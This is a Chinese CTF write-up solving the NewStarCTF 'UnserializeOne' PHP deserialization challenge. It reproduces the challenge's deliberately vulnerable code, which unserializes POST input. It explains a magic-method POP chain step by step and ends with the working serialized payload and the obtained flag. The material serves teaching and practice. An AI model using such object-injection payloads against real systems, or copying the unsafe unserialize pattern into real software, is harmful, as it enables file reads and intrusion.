前言
这是笔者摸索着解开的第一道php反序列化题,在此记录一下解题思路,如有不足之处还请指正。
题目出自buuctf NewStarCTF,UnserializeOne
一、php代码审计
可以看到打开靶机即是源码页面,可以先导出
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
最后有两行代码,以post方法提交pop,然后反序列化pop
这里抓住这个点就可以把语句序列化为字符串后提交,然后在其网页执行然后得到我们想要的flag
二、构造关系链
- 我先定义各个类对应的变量,接下来逆向分析
$start=new Start();
$sec=new Sec();
$easy=new Easy();
$eeee=new eeee();
- 看32行,
file_get_contents('/flag')
,这句的意思是把整个文件读入一个字符串中,而这里的文件恰好是flag。人活着是为了什么,不就是为了这一个flag吗?
- 可以看到输出flag的语句是在
__invoke()
函数里面的,而__invoke()是反序列化的魔幻函数:当尝试将对象调用为函数时触发;它的对象不就是Sec么 - 然后看16行
($this->func)()
,这里只要把Start这个类中的func改为Sec,即可把Sec当成函数来运行
- 所以构造如下第61行代码:
- 然后要要运行($this->func)(),就要先触发
__isset()
,__isset()的触发条件是:在不可访问的属性上调用isset()或empty()
- 在eeee类里面有
isset($this->obj->cmd)
,把obj换成__isset()函数所在的对象:Start,便可触发__isset()函数里面的语句啦 - 可构造以下第62行语句
- 接下来,外面的__clone()函数也是魔幻函数,可通过用clone函数复制其对象来激活
- 在第41行发现了clone函数,这里要把var改成eeee,然后外面的
__call()
这个魔幻函数的触发条件是:在对象中调用不可访问的方法 - 这里我插入一下
__call(<参数1>,<参数2>)
的使用
<?php
class person
{
function say()
{
echo "hello world!".PHP_EOL;
}
function __call($s1,$s2)
{
echo "参数1:".$s1.PHP_EOL."参数2:";
print_r($s2);
}
}
$person=new person();
$person->eat("apple");
?>
运行结果:
参数1:eat
参数2:Array
(
[0] => apple
)
- 所以回到题目中,把下图Sec类中的obj改为easy,而Easy类中没有check()这个函数,便会触发类里面的__call()函数,然后__call()的第二个参数var就会变成Sec这个类里面的var,所以我们要先把Sec里面的var改成eeee,这样__call()的参数2就是eeee这个类了,然后__call()函数里面的$var[0]也顺理成章地是__clone()的对象eeee了
- 讲了这么多,构造下面64,65两条语句:
- 到了这里也差不多了,把我的步骤逆过来就是输出flag的步骤了,但是还差一根导火索:这里可以用__toString()函数来触发
__toString()
函数的触发条件是对象被当成字符串输出- Start类里面正好有个name被用echo输出,这可不就是被当成字符串了嘛!
- 那就可以构造第65行语句,把sec换成name当作字符串输出,从而激活__toString()函数
- 最后触发
__construct()
函数,直接把__construct()函数的对象销毁,即Start序列化为字符串就行了 - 构造67,68行语句:
- 最后运行输出得到
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
(因为我这里运行报错说private无权访问,我把protected和private全换成public后解决问题了,注意我这样用的前提是我的语句不需要用到protected和private)
三、序列化封装提交
- 回到网页,用hackbar提交
pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
- 即可得到flag:
flag{8651d98f-1026-4d7e-a643-de41030c3741}